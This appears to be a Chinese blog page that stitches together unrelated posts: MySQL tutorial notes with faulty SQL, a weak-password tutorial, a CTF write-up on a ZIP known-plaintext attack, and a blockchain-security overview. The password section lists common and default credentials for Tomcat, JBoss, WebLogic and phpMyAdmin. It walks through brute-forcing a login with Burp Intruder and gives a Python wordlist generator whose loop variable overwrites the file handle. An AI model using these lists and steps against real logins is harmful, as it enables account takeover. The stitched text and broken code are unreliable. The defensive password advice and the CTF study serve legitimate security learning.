mysql_native_password BY ‘新密码’; 4.删除用户 DROP USER ‘用户名’@’主机名‘; create user ‘biu’@’localhost’ identified by ‘123456’; create user ‘biu1’@’%’ identified by ‘123456’; alter user ‘biu1’@’%’ identified with mysql_native_password by ‘1234’; drop user ‘biu1’@’%’ ; 权限控制 查询权限 Show grants for ‘用户名’@’主机名’ ; 授权权限 GRANT 权限列表 ON 数据库名.表名 TO ‘用户名’@’主机名’; 撤销权限 REVOKE 权限列表 ON 数据库名.表名 FROM ‘用户名’@’主机名’; create user ‘biu’@’localhost’ identified by ‘123456’; alter user ‘biu1’@’%’ identified with mysql_native_password by ‘1234’; drop user ‘biu1’@’%’ ; show grants for ‘biu’@’localhost’; grant all on biu801.* to ‘biu’@’localhost’; revoke all on biu801.* from ‘biu’@’localhost’; 三, 函数:是指一段可以直接被另一段程序调用或代码。 字符串函数 Concat(s1,s2,s3…sn) 字符串拼接,将s1.s2.s3..sn拼接成一个字符串 Lower(str) 将字符串str全部转成小写 Upper(str) 全部转化成大写 Lpad(str,n,pad) 左填充,用字符串pad对str左边填充,达到n个字符串 Rpad(str,n,pad) 右填充, Trim(str) 去掉字符串头部和尾部的空格 Substring 返回从字符串str从start位置起的len个长度的字符串 select concat(‘hello’,’mysql’); select lower(‘HELLO’); select upper(‘hello’); select lpad(‘hello’,10,’haa’); select rpad(‘hello’,10,’haa’); select trim(‘ hello mysql ‘); select substring(‘hello mysql’,1,5); 数值函数 Ceil(x) 向上取整 Floor(x) 向下取整 Mod(x,y) 返回x/y的模 Rand() 返回0-1内的随机数 Round(x,y) 求参数x的四舍五入的值,保留y位小数 select ceil(1.4); select floor(1.8); select mod(3,4); select rand(); select round(2.34,2); select round(2.345,2);# 求一个6位随机数 select lpad(round(rand()*1000000,0),6,’0′); 日期函数 Curdate() 返回当前日期 Curtime() 返回当前时间 Now() 返回当前日期和时间 Year(data) 获取指定date的月份 Month(date) 获取指定date的月份 Day(date) 获取指定date的日期 Date_add(date,interval expr type) 返回一个日期加上时间间隔expr后的时间值 Datediff (date1,date2) 返回起始时间date和结束时间date2之间的天数 select curdate(); select curtime(); select now(); select year(now()); select month(now()); select day(now()); select date_add(now(),interval 39 day); select datediff(now(),date_add(now(),interval 39 day));求入职时间 select name ,datediff(curdate(),entrydate) as ‘entrydates’ from emp order by entrydates desc; 流程控制函数 If(value,t,f) 如果value为true,则返回t,否者返回f Ifnull(value1,value2) 如果value1不为空返回value1否则放回value2 Case when [val1] then [res1] ..else [default] end 如果val1为true返回res1 否则返回default默认值 Calse [expr] when [val1] then [res1] ..else [default] end 如果expr的值等于val1,返回res2,否则返回default默认值 select if (true,’ok’,’error’); select ifnull (‘ok’,’default’); select ifnull(”,’default’); select ifnull(null,’default’); select ifnull (‘null’,’default’); select name, (case workaddress when’北京’ then ‘一线城市’ when ‘上海’ then ‘一线城市’ else ‘二线城市’end)as ‘工作地址’ from emp; select id, name, case when math>=85 then’优秀’ when math>=60 then ‘及格’ else ‘不及格’end)’数学’, case when english>=85 then’优秀’ when english>=60 then ‘及格’ else ‘不及格’end)’英语’, case when chinese>=85 then’优秀’ when chinses>=60 then ‘及格’ else ‘不及格’end)’语文’, from score; 四, 约束:作用于表中的字段上的规则,用于限制储存在表中的数据. 保证数据库中数据的正确性,有效性,完整性 create table user( id int primary key auto_increment comment ‘主键’, name varchar(10) not null unique comment ‘姓名’, age int check(age>0&&age<=120)comment ‘年龄’, statuss char(1)default ‘1’ comment ‘状态’, gender char(1) comment ‘性别’ )comment ‘用户表’;insert into user(name,age,statuss,gender)values(‘tom1′,10,’1′,’男’),(‘tom2′,28,’0′,’男’); insert into user(name,age,statuss,gender)values(‘tom3′,10,’1′,’男’); insert into user(name,age,statuss,gender)values(‘tom5′,121,’1′,’男’); insert into user(name,age,gender)values(‘tom5′,10,’男’); 外键约束 添加外键; Alter table 表名 add constraint 外键名称foreign key (外键字段名) references 主表(主表列名); Create table 表名( 字段名 数据类型, .. [constraint] [外键名称] foreign key (外键字段名) references 主表 (主表列名) ); alter table emp add constraint fk_emp_dept_id foreign key (dept_id) references dept (id); 删除外键 Alter table 表名 drop foreign key 外键名称; 删除/更改外键 Alter table 表名 add constraint 外键表名 foreign key (外键字段) references 主表名(主表字段名) on update cascade on delete cascade; alter table emp add constraint fk_emp_dept_id foreign key (dept_id) references dept (id) on update cascade on delete cascade; 五, 1,多表关系 一对多 在多的一方建立外键,指向一方的主键 多对多 学生和课程的关系 建立第三方中间表,其中至少有两个主键,分别指向两方 一对一 单表拆分,一张是基础信息,一张是详细信息 在任意一方加入外键,关联另一方,并且设置外键唯一 2,多表查询概述 从多张表中查询数据 迪卡尔积:笛卡尔乘积指在数学中,两个集合A集合和B集合的所有组合情况.(在多表查询时需要清除无效的笛卡尔积 多表查询的分类: 连接查询 内连接:相当于查询A,B的交集部分数据 外连接: 左外连接:左表所有数据,以及两张表交集部分数据 右外连接:右表所有数据,以及两张表交集部分数据 自连接:当前表与自身的连接查询,自连接必须用表的别名 子查询 内连接 隐式内连接 Select 字段列表 from 表1,表2 where 条件; 显式内连接 Select 字段列表 from 表1[inner] join表2 on 连接条件…; select emp.name,dept.name from emp ,dept where emp.dept_id =dept.id; #也可以取别名,但是取了别名就不能用原名了 select e.name,d.name form emp e,dept d where e.dept_id =d.id; select e.name,d.name form emp e inner join dept d on e.dept_id=d.id; 外连接 左外连接 Select 字段列表 from 表1 left [outer] join 表2 on 条件…; 右外连接 Select 字段列表 from 表2 right [outer] join 表2 on 条件…; select e.*,d.name form emp e left outer join dept d on e.dept_id=d.id; select d.*,e.* form emp e right outer join dept d on e.dept_id=d.id; #也可以调换一下两个表的位置变成一个左外连接 自连接 Select 字段列表 from 表A 别名A join 表A 别名B on 条件..; select a.name,b.name from emp a,emp b where a.managerid=b.id; select a.name,b.name from emp a left join emp b on a.nanagerid=b.id; 联合查询 Union(去重) union(all) 查询的字段要相同,类型也要一样; Select 字段列表 from 表a… Union(all) Select 字段列表 from 表b…; select * from emp where salary <5000 union(all) #把all删了就不会有重复的了 select * from emp where age>50; 子查询 概念:sql语句中嵌套select语句,称为嵌套查询,又称子查询; 子查询外部的语句可以是insert/update/delete/select/的任何一个. Select * from t1 where column1=(select column1 from t2); 根据子查询结果不同,分为: 标量子查询(子查询结果为单个值) 列子查询(子查询结果为一列) 行子查询(子查询结果为一行) 表子查询(子查询结果为多行多列) 根据子查询出现的位置分为:where之后,from之后,select之后, 标量子查询; 常用的操作符:= <> > >= < <= select id from dept where name=’销售部’; select * from emp where dept_id=(select id from dept where name=’销售部’); select entrydate from emp where name=’房东白’; select *from emp where entrydeate>(select entrydate from emp where name=’房东白’); 列子查询 常用的操作符:in not in any some all select id from dept where name =’销售部’ or name=’市场部’; select * from emp where dept_id in (select id from dept where name =’销售部’ or name=’市场部’); select id from dept where name=’财务部’; select salary from emp where dept_id =(select id from dept where name=’财务部’); select * from emp where salary >all(select salary from emp where dept_id =(select id from dept where name=’财务部’)); select * from emp where salary >any(select salary from emp where dept_id =(select id from dept where name=’研发部’)); 行子查询 常见的操作符:= <> in not in Select salary ,managerid from emp where name =’张无忌’; Select * from emp where (salary,managerid)=( Select salary ,managerid from emp where name =’张无忌’); 表子查询 常用操作符:in select job,salary from emp where name =’路障可’ or nane =’宋远桥’; select * from emp where (job,salary) in(select job,salary from emp where name =’路障可’ or nane =’宋远桥’); select *from emp where entrydate>’2006-01-01′; select e.*,d.* from (select *from emp where entrydate>’2006-01-01′) e left join dept d.id; 案列: select e.name,e.age,e.job,d.name from emp e,dept d where e.dept_id=d.id; select e.name,e.age,e.job,d.name from emp e inner join dept d on e.dept_id=d.id where e.age<30; select distinct d.id,d.name from emp e,dept d where e.dept_id=d.id; select e.*,d.name from emp e left join dept d on e.dept_id =d.id where e.age>48; select e.*,s.grade from emp e ,salgrede s where e.salary between s.losal and s.hisal;select * from emp e, dept d, salgrade s where e.dept_id = d.id and (e.salary between s.losal and s.hisal) and d.name = ‘研发部’; select avg(e.salary) from emp e,dept d where e.dept_id =d.id and d.name =’研发部”; select * from eemp where salary >(select salary from emp whee name =’灭绝’); select * from emp where salary >(select avg(salary) from emp); select avg(e1.salary) from emp e1 where e1.dept_id=1; select * from emp e2 where e2.salary<(select avg(e1.salary) from emp e1 where e1.dept_id=e2.dept_id); select d.id,d.name,(select count(*) from emp e where e.dept_id=d.id)’人数’ from dept d; select s.name,s.no,c.name from student s ,student_course sc,course c where s.id=sc.studentid and sc.courseid=c.id; 六. 1. 事务简介 事务:是一组操作的集合,他是一个不可分割的工作单位,事务会把所有操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失效. 2. 事务操作 查看/设置事务提交方式 Select @@autocommit Set @@sutocommit =0; 提交事务 Commit; 回滚事务; Rollback; select * from account where name=’张三’; update account set money =money-1000 where name=’张三’; update account set money =money+1000 where name=’李四’; commit; #如果不正确就执行rollback,不要执行commit 开启事务 Start transaction 或 begin 提交 Commit; 回滚 Rollback; start transaction; select * from account where name=’张三’; update account set money =money-1000 where name=’张三’; update account set money =money+1000 where name=’李四’; commit; #如果不正确就执行rollback,不要执行commit 3. 事务的四大特性 1.原子性:事务时不可分割的,是最小的操作单位,要么全部成功,要么全部失败 2.一致性:事务完成时,必须使所有的数据都保持一致状态 3.隔离性:数据库提供的隔离机制,保证事务在不受外界并发操作影响的独立环境下运行 4.持久性:事务一旦提交或回滚,他对数据库的数据改变是永久的 4.并发事务问题 藏读:一个数据读到另一个数据没提交的数据 不可重复读:一个事务先后读取同一条记录,但两次读取的数据不同, 幻读:一个事务按照条件查询数据时,没有对应的数据行,但是在插入数据时,又发现这行数据已经存在,好像出现了幻影。 4. 事务的隔离级别 查看事务隔离级别 Select @@transaction_isolation; 设置事务隔离级别 Set [session|global] transaction isolation level {read uncommitted|read committed|repeatable read|serializable}
  16. ###弱口令的定义 弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如“123”、“abc”等,因为这样的口令很容易被别人破解,从而使用户的互联网账号受到他人控制,因此不推荐用户使用 ###弱口令产生原因 这个应该是与个人习惯相关与意识相关,为了避免忘记密码,使用一个非常容易记住的密码,或者是直接采用系统的默认密码等。相关的安全意识不够,总认为不会有人会猜到我这个弱口令的,相关的安全意识不够,总认为不会有人会猜到我这个弱口令的。 ###弱口令的危害 通过系统弱口令,可被黑客直接获得系统控制权限。 ###弱口令解决办法 强制对所有的管理系统账号密码强度必须达到一定的级别。不可在使用简单的admin、123456等弱密码了,修改密码为复杂密码并加密保存,建议密码包含大小写字母,数据和特殊符号,密码长度不低于八位,如果网站存在数据泄漏漏洞(如sql注入漏洞),务必修复漏洞。。 设置密码通常遵循以下原则: (1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。 (2)口令长度不小于8 个字符。 (3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.)。 (4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。 (5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词。 (6)口令不应该为用数字或符号代替某些字母的单词。 (7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。 (8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令。 ###弱口令分类 公共弱口令 公共弱口令就是常见的密码,公共弱口令也就是根据大量的密码数据统计得出的出现频率较高弱口令,关于这方面的弱口令统计结果有很多,在此我就列举一些出现频率比较高的公共弱口令: (Top 100): 123456 a123456 123456a 5201314 111111 woaini1314 qq123456 123123 000000 1qaz2wsx 1q2w3e4r qwe123 7758521 123qwe a123123 123456aa woaini520 woaini 100200 1314520 woaini123 123321 q123456 123456789 123456789a 5211314 asd123 a123456789 z123456 asd123456 a5201314 aa123456 zhang123 aptx4869 123123a 1q2w3e4r5t 1qazxsw2 5201314a 1q2w3e aini1314 31415926 q1w2e3r4 123456qq woaini521 1234qwer a111111 520520 iloveyou abc123 110110 111111a 123456abc w123456 7758258 123qweasd 159753 qwer1234 a000000 qq123123 zxc123 123654 abc123456 123456q qq5201314 12345678 000000a 456852 as123456 1314521 112233 521521 qazwsx123 zxc123456 abcd1234 asdasd 666666 love1314 QAZ123 aaa123 q1w2e3 aaaaaa a123321 123000 11111111 12qwaszx 5845201314 s123456 nihao123 caonima123 zxcvbnm123 wang123 159357 1A2B3C4D asdasd123 584520 753951 147258 1123581321 110120 qq1314520 对于网站后台而言,一般为: admin manager admin123 admin888 admin666 具体来说,不同的后台类型拥有不同的弱密码: 数据库(phpmyadmin):账号:root,密码:root、root123、123456 tomcat:账号:admin、tomcat、manager,密码:admin、tomcat、admin123、123456、manager jboss:账号:admin、jboss、manager,密码:admin、jboss、manager、123456 weblogic:账号:weblogic、admin、manager,密码:weblogic、admin、manager、123456 条件型 个人弱口令往往与这个人的个人信息(姓名,生日,手机号,特殊昵称,爱好,社交软件账号,常用username,邮箱...),关系成员(家庭成员,男女朋友...),所处环境(车牌号,公司信息比如公司名称,公司成立时间或地点,公司domain等...),还有特殊的指定字符(数字,单词...),在这里我也列举一些经常出现的组合:我们可以使用这个猜密码的网站来生成条件弱口令字典。 比如我们知道一个人,他的信息如下: 姓名:王小二 邮箱:[email protected] 英文名:twowang 手机号:110 那我们就可以在这个网站上输入这些信息,然后点击下方的“提交” 然后我们就得到了这个最有可能的密码: 另提示一点:当系统要求密码组合必须包含大写字母时候,根据中国人密码设定习惯,会有83%的人将大写字母,且是唯一存在的大写字母放在第一位 ###弱口令实列 普通的弱口令猜测 比如说,我们使用这样一段代码来演示弱口令漏洞,它模拟了某个系统的后台。 <?php function showForm() { ?> <form method="POST" action="./lesspass.php"> <input type="text" name="un" /> <input type="password" name="pw" /> <input type="submit" value="登录" /> </form> <?php } $un = @$_POST['un']; $pw = @$_POST['pw']; if($un == '' && $pw == '') showForm(); else if($un == 'admin' && $pw == 'admin888') echo '登录成功'; else { showForm(); echo '登录失败'; } 把它保存为lesspass.php,将其部署后访问http://localhost/lesspass.php。 接下来我们假装不知道真实密码,开始尝试。对于管理员账户,用户名一般是admin,密码可能为admin、admin123、admin888、123456、123abcadmin等等。首先输入admin和admin,尝试失败: 之后是admin和admin123,还是失败。最后尝试admin和admin888,成功。 Burp Suite 爆破 首先我们需要把浏览器和 Burp 的代理配置好,打开 Burp 的拦截模式。之后我们在lesspass.php页面中随便输入什么东西并提交,在 Burp 中就可以看到拦截的封包: 为了爆破密码,我们需要使用它的 Intruder 功能,右键弹出菜单并选择"Send to Intruder": 之后访问 Intruder 标签页,在 Position 子标签页中我们可以看到封包。 我们需要点击右边的Clear按钮把所有标记清除掉,由于我们需要破解密码,我们选中密码参数值点击Add。 之后我们切换到旁边的 Payloads 标签页,点击中间的load按钮,加载字典。我们选择之前的top100.txt。 不要忘了要将admin888插入进去。在下面的输入框中输入admin888,并点击旁边的Add。 点击右上角的Start Attack来开始爆破(老版本是Intruder -> Start Attack菜单栏),我们会看到结果列表。 我们点击Length表头,让它按照长度来排序。可以发现有一个项目的长度与其它明显不同,那么它就是正确的结果。 PKAV Fuzze爆破 双击Pkav HTTP Fuzzer 1.5.6.exe来打开它。另外目录下还有一份使用手册,Pkav HTTP Fuzzer使用手册 Ver 1.0.pdf,大家可以参考这个手册。这个教程只会讲用到的功能 它的主界面是这样的: 左边是“请求包”输入框,我们需要填写整个 HTTP 封包(就是 Burp 中的Proxy -> Intercept选项卡中的内容),我们将其复制过来。然后我们选中pw位置的admin,点击下面的“添加标记”: 我们再来看看右边的“重放设置”,“重放模式”和“变体赋值”都不用改动,我们点击下方的“导入”按钮,选择之前的top100.txt。 之后再“添加”按钮右边的输入框中输入admin888,然后点击“添加”。 然后我们点击下方的“发包器”选项卡,在新的界面中直接点“启动”: 然后我们点击“长度”表头,让它按照长度排序。 我们可以看到,仅当密码为admin888时长度为 6,其它都是其它数值,那么它就是正确密码 ###弱口令漏洞描述 通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令,常见弱口令有: 1、数字或字母连排或混排,键盘字母连排(如:123456,abcdef,123abc,qwerty,1qaz2wsx等) 2、生日,姓名+生日(利用社工非常容易被破解) 3、短语密码(如:5201314,woaini1314等) ###弱口令生成 关于弱口令生成可以利用相关工具或者脚本,工具的话网上有很多,可以自行搜索下载,在这里我提供自己写的python小脚本,如果有需要请自行修改,仅作参考: # -*- coding: utf-8 -*- weak_password=['000000','0000000','111111','11111111','112233','123123','123321','123456','12345678','87654321','123456789','987654321','1234567890','0123456789','654321','666666','888888','666888','66668888','abcdef','147258369','abcabc','abc123','a1b2c3','aaa111','123qwe','qweasd','admin','root','pass123','p@ssword','password','passwd','iloveyou','woaini','5201314','qq123456','taobao','wang1234'] foreign_weak_password=['password','123456','12345678','qwerty','abc123','monkey','1234567','letmein','trustno1','dragon','baseball','111111','iloveyou','master','sunshine','ashley','bailey','passw0rd','shadow','123123','654321','superman','qazwsx','michael','football','qwerty','welcome','ninja','hello','happy','anything','abcabcabc','qwert123','system','command','adminstrator','mouse','harddisk'] name=['xiaoming','Xiaoming','xiaoMing','xiao_ming','xiaoM','XMing','Xming','xl','XM'] birth=['1995','_1995','09','9','23','199509','_950923','_199509','9509','0923','19950925'] specialnum=['1314','520','000','111','123','168','1234','123456','5201314','888','666','123123'] id=['mingxiaozi','xiaolifeidao'] companyinfo=['jingdong','JongDong','jd','JD'] #自行添加更多信息 f=open('weakpasswords.txt','w') for a in weak_password: f.write(a+'\n') for b in foreign_weak_password: f.write(b+'\n') for c in name: for d in birth: f.write(c+d+'\n') f.write(d+c+'\n') for e in name: for f in specialnum: f.write(e+f+'\n') f.write(f+e+'\n') for i1 in id: for b1 in birth: f.write(i1+b1+'\n') f.write(b1+i1+'\n') for i2 in id: for s1 in specialnum: f.write(i2+s1+'\n') f.write(s1+i2+'\n') for n1 in name: for b1 in birth: for s2 in specialnum: f.write(n1+s2+b1+'\n') f.write(s2+n1+b1+'\n') f.write(s2+b1+n1+'\n') #自行添加更多组合 ###弱口令的tips 1.遵循某种规律,读起来朗朗上口,或者是我们小时候最先接触的一些数字或者字母。 123456,123abc,abc123,123456abcdef!@#这些弱口令也有人戏称是滚键盘,例如admin!@#看起来并不简单,但它确实是滚键盘,属于弱密码,我在实际渗透中,曾许多次碰到这个弱口令admin!@# 防御策略: 对企业员工进行安全培训,提高安全意识,安全中没有侥幸,只有万一。滚键盘类的密码还是少用,尽量使用难以猜解的密码。 2.无意间的信息泄漏,导致密码泄漏或者可能易于被猜测 永远都不要质疑白帽子们的脑洞,他们做CTF的时候,脑洞大着呢。中国网某子网站后台弱口令:lujiaji(漏洞作者:blast) https://www.secpulse.com/archives/14056.html 简单一看,这个密码并不是很典型的弱密码,如果纯粹靠猜测,或许并不能尝试成功。但重点是,在一个新闻中,显示出了新闻作者lujiaji,管理后台账户密码均为lujiaji。所以,被攻破有两点原因:用户名的部分或者全部是对外开放的,管理员:lujiaji用户名密码是相同的。 京东的一些敏感信息在GitHub上泄漏(漏洞作者:匿名) https://www.secpulse.com/archives/22828.html 开发人员托管代码时,没有对敏感信息进行删除,导致泄露了用户名密码root/JD123,还有一种就是密码本身并不弱,但是开发人员对于自己的网站或者系统过于热爱,而导致用户名或密码可猜测。如,某网站为www.p1a2s3s4word.com,开发人员或者管理人员就可能将系统的用户名设置的与网站域名有关,或者与公司名称有关。如:p1a2s3s4word,p1a2s3s4word123 小米内网漫游记(一个弱口令导致各种内部系统泄露):Xiaomi11(漏洞作者:临时工) http://cb.drops.wiki/bugs/wooyun-2014-076453.html 应对策略: (1).登录名和用户名应进行区分 (2).实行有效的密码策略,杜绝密码中包含用户名,甚至是完全相同的情况存在 (3)记住GitHub是安全隐含一大来源 (4).不要使用易于从企业名称或者域名中得到密码信息的口令。 3.虽然密码强度可靠,但大量系统使用同一密码 只要基数过大,那么一定会有例外,也一定会存在漏洞,任意一个系统遭到入侵后,其它的系统都会受到影响,这样的例子数不胜数,例如内网渗透很大程度上就是根据这一点进行的。 4.还有就是默认密码,虽然许多系统坚不可摧,但如果其不强制其用户修改密码,有些人还真的就会用默认密码。 简单漫游深信服内网:(楼主作者:fuckadmin) https://www.secpulse.com/archives/35096.html 听说你们的设备都存在一个默认的sangfor/sangfor,咱也手贱来试试。 大量学校/政府CMS 默认后台账号密码:admin admin888(漏洞作者:exploits) https://www.secpulse.com/archives/10477.html 学校和政府网站安全性一般来说都很差,在本示例中,大量的网站就未对cms默认密码进行修改。 应对策略: 永远不要使用默认密码,密码默认即为密码公开。 5..虽然系统采用了默认密码,但是用户对其进行了修改,这就足够了吗?no!系统中还有系统。 该问题多见于一些大型集成软件或者系统,由于系统过于庞大,存在默认密码的地方不止一处,甚至管理员本身都不知道存在某些功能。 比如某cms中集成了ewebeditor编辑器,但管理员可能并不会注意到。 九思软件iThink OA系统编辑器上传漏洞:(漏洞作者:Lee) http://www.wooyun.org/bugs/wooyun-2010-04913 九思iThink使用的是ewebeditor的编辑器,且密码使用的默认密码(admin/admin),导致系统存在被入侵的风险。 应对策略: (1).对于集成软件或系统,使用前应对其进行详尽的了解,避免因设置问题而存在弱口令。 (2).集成软件或系统的厂商应在使用说明中,着重指出此问题。 6.网站存在撞库风险 严格意义上来讲,并不能归在弱口令安全,但是还是与其相关的。由于登陆功能或者一些接口设计不当,导致可以无限制尝试登录,从而导致撞库。 凤凰网某接口设计不当可暴力破解可撞库:(漏洞作者:匿名) https://www.secpulse.com/archives/29717.html 作者发现凤凰网存在德州扑克的登陆接口,且无任何登陆限制,从而间接对其进行撞库测试,并成功。 阿里巴巴某系统设计缺陷可造成淘宝无限制撞库(漏洞作者:bing) https://www.secpulse.com/archives/22460.html 其手机端接口无次数和验证码限制,导致可以进行撞库,作者称利用互联网上公开的数据库,每天可以跑出24万个淘宝账号和密码。 应对策略: 撞库问题,其实并不只是企业或者网站的问题,这也需要我们每一位用户提高自己的安全意识。 (1).作为我们用户,我们应定期修改密码,不同的网站或账户不应该使用相同的密码 (2).作为企业或网站主,我们应对登录进行有效验证限制,不只是明显的登陆处,对于各个功能接口也不例外 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  17. 重在参与,主打一个陪伴 谁偷吃了我的外卖 下载地址https://pan.baidu.com/share/init?surl=kD5ISEjctcMVSua8PKQsgg 打开之后是一张图片 分离后是个zip 打开后有加密并且给了提示 第一个是空的 最后一个是 base64 被偷的是第一个 – = / 的意思是把-替换成/ 使用脚本去掉第一个提取中间的的四个字符 import zipfile import re import base64 with zipfile.ZipFile("/外卖箱.zip", 'r') as zf: fileNameList = zf.namelist() infoDict = {} for fileName in fileNameList: matchedData = re.findall(r'\d{1,}_[a-zA-Z0-9-+=\/]{4}', fileName) if matchedData != []: infoDict[matchedData[0][0:matchedData[0].find('_')]] = matchedData[0][matchedData[0].find('_')+1:] content = '' for idx in range(2, 10899): content += infoDict[str(idx)] with open('flag.zip', 'wb') as f: f.write(base64.b64decode(content.replace('-', '/'))) 得到flag.zip 此时是破坏的 拖进去winhex或者010修复一下头文件 修复后打开 一个真实的奋斗故事 给了一半的flag 打开钥匙 使用的压缩软件文件是Bandizip 用7Z压缩也可以 目的是让我们通过加密方式判断出是明文攻击 原理:明文攻击是一种较为高效的攻击手段,大致原理是当你不知道一个zip的密码,但是你有zip中的一个已知文件(文件大小要大于12Byte)或者已经通过其他手段知道zip加密文件中的某些内容时,因为同一个zip压缩包里的所有文件都是使用同一个加密密钥来加密的,所以可以用已知文件来找加密密钥,利用密钥来解锁其他加密文件 速度:非常快 使用ARCHPR 第一个文件是所有文件即外卖箱子,第二个文件即flag.zip 运行一两分钟后停止 保存 再次打开保存的外卖箱 得到另一半的flag 另外附上另一题另一种解法 一题多解,登录进去后可以像官方wp那样使用grep拿flag 拿flag 因为经常打web靶场,日进去ssh之后都习惯用find全局搜索flag find / -type f -name flag.* 2>/dev/null
  18. 区块链不再是炒作;它是一种广泛且可靠的财务和数据管理技术。许多组织投资区块链,使用它们来存储和共享数据,并在其业务流程中实施它们。但区块链也吸引了网络犯罪分子的大量关注,他们的目标是敏感的企业数据和加密资产。 保护区块链网络免受黑客攻击需要不断审核和研究新的漏洞和潜在的攻击媒介。在本文中,我们概述了关键的区块链安全漏洞,探讨了常见的攻击媒介,并分享了我们关于减轻允许这些攻击的风险的知识。 本文对于正在考虑开发或采用基于区块链的应用程序并正在寻找检查和确保其安全性的方法的企业非常有用。 为什么黑客经常攻击区块链? 随着区块链技术在处理数据和财务方面变得司空见惯,对基于区块链的应用程序和网络的成功攻击经常出现在新闻中。让我们看一下区块链受到攻击的关键原因: 信息处理不安全。许多企业使用区块链不是为了管理财务和代币,而是为了存储数据:健康相关信息、供应链记录、商业秘密,甚至投票详细信息。如果未加密或以其他方式保护,此类记录总是会吸引恶意行为者,因为它们可用于恶意活动:在暗网上出售数据、勒索组织、实施欺诈等。 大量且无法追踪的加密货币。加密货币和交易平台成为投资、资金处理和国际交易的常见工具,使其成为黑客攻击的目标。2022 年,黑客从加密相关服务中窃取了超过 38 亿美元。按照设计,区块链网络内的交易很难追踪到特定的人,这使得加密货币窃贼能够逍遥法外。 将黑客绳之以法的挑战。调查区块链攻击需要面临许多技术和法律挑战。区块链交易是匿名且加密的,这意味着调查人员需要大量时间才能将欺诈交易追溯到黑客。此外,攻击者及其受害者通常生活在不同的国家,并受不同的区块链相关立法(如果有)管辖,这进一步使调查变得复杂。 区块链实施的安全性差。尽管区块链网络和应用程序如雨后春笋般涌现,但并非所有开发它们的组织都对安全性给予足够的重视。例如,由于Rab13s 漏洞,超过 280 个包含价值 250 亿美元加密货币的网络面临遭受攻击的风险。缺乏保护措施实际上是对网络犯罪分子的邀请。 修复能力有限。作为去中心化的解决方案,区块链应用程序及其核心逻辑通常由开源代码管理。如果在该代码中发现漏洞,每个人都会知道它。此外,修复区块链代码具有挑战性,有时甚至是不可能的,因为它一旦发布就不可更改。 缺乏防止攻击的网络安全人才。保护区块链应用程序免受攻击不仅涉及安全设计和实施,还涉及定期安全审核和修复新发现的漏洞。此类工作需要许多组织所不具备的网络安全专业知识。 尽管区块链在网络安全中的用例很多,但我们不断看到成功的区块链攻击。攻击次数也逐年增加。跟踪加密货币盗窃案的 Comparitect 报告称,2021 年成功发生了 136 起加密货币盗窃案,2022 年发生了 199 起,2023 年 1 月至 11 月期间发生了 220 起。 让我们来看看 2023 年以来针对区块链的几起毁灭性攻击: 欧拉金融遭遇一系列闪贷攻击,导致超过 1.95 亿美元被盗。攻击者滥用了平台协议中的一个漏洞,该漏洞允许他们从 Euler 的存款池借钱,而无需抵押资产。欧拉与黑客协商归还大部分被盗资金,并启动了对其平台的独立审计。 Bonq的智能合约遭遇了甲骨文黑客攻击,攻击者可以操纵某些加密货币的交易价格。由于这次黑客攻击,Bonq 失去了大部分投资者。他们暂停了被利用协议的使用,但无法追回被盗资金。 Mixin Network损失了价值 2 亿美元的主网资产。该网络使用托管在云中的集中式数据库。攻击者破坏了该数据库并获得了对主网的未经授权的访问。被盗资金并未归还,但 Mixin Network 承诺退还用户损失的 50%。 正如您所看到的,即使是拥有数百万美元的区块链网络也不够安全,无法确保保护用户的财务。让我们看一下恶意行为者可以利用的关键潜在漏洞。 区块链安全威胁的主要来源 了解可能的漏洞是保护应用程序安全的第一步。以下是导致常见类型区块链攻击成为可能的漏洞的主要来源: 联网 网络是区块链系统的核心方面之一,它由多个相互通信的节点组成。区块链节点应该可以被其他节点发现、同步并且能够抵御攻击和数据包丢失。底层网络逻辑由以下各项管理: 一种网络协议,负责在节点之间传输事务和块。可发现性是该协议的重要组成部分,因为它可能会影响节点接收的数据。 共识协议,决定大多数网络参与者都同意的网络当前状态。 节点之间保护不善的网络可能会导致攻击者破坏或修改通信。 密码学 加密算法允许区块链使用公私密钥对加密消息并验证签名。在去中心化平台中实施此类算法消除了第三方颁发私钥的需要。相反,任何人都可以使用必要的软件和正确实现加密算法来生成密钥。 一般来说,密码学有助于保护区块链交易免遭未经授权的访问。但如果实施不当,它可能会创建后门并授予恶意行为者访问权限。 贮存 区块链依赖于去中心化存储来包含用户和钱包详细信息以及交易记录等数据。区块链平台不仅在节点之间同步数据,还检查每笔交易中使用的输入是否唯一。当网络增长到数十万个区块时,这可能需要很多时间。为了提高效率,区块链平台使用处理块和事务的索引器来提供对数据的快速访问。 建立存储和设计索引器需要谨慎的方法,因为它可能会引入双重支出或依赖未经确认的交易等问题。 治理 尽管区块链技术具有许多安全优势,但基于区块链的平台仍然由人管理。通常,所有网络参与者都成为利益相关者,网络的任何变化都需要利益相关者达成共识。比特币经典就是此类网络的一个例子。公共治理可以保护网络免受可疑更改和袭击尝试的影响,但如果未经大多数节点批准,它也会阻止有意义的改进。 一些区块链平台与链上去中心化治理相集成,例如Tezos及其自我修正协议。这种方法使集成改进成为一个顺利的过程,并降低了网络分裂的风险。 应用代码 开发错误可能会导致区块链应用程序出现意外行为。如果编程语言使用不当,甚至会导致程序崩溃。考虑到区块链系统的去中心化性质,如果由于特定交易而发生崩溃,则可能会停止所有节点。 如果应用程序存在逻辑错误,它将无法处理所有负面的使用场景。例如,函数在处理余额时可能会正确运行,直到传递了不正确的负值。 在下一节中,我们将概述恶意内部人员经常用来利用这些区块链漏洞的攻击。我们还研究了对您的网络有用的区块链攻击向量和预防技术。
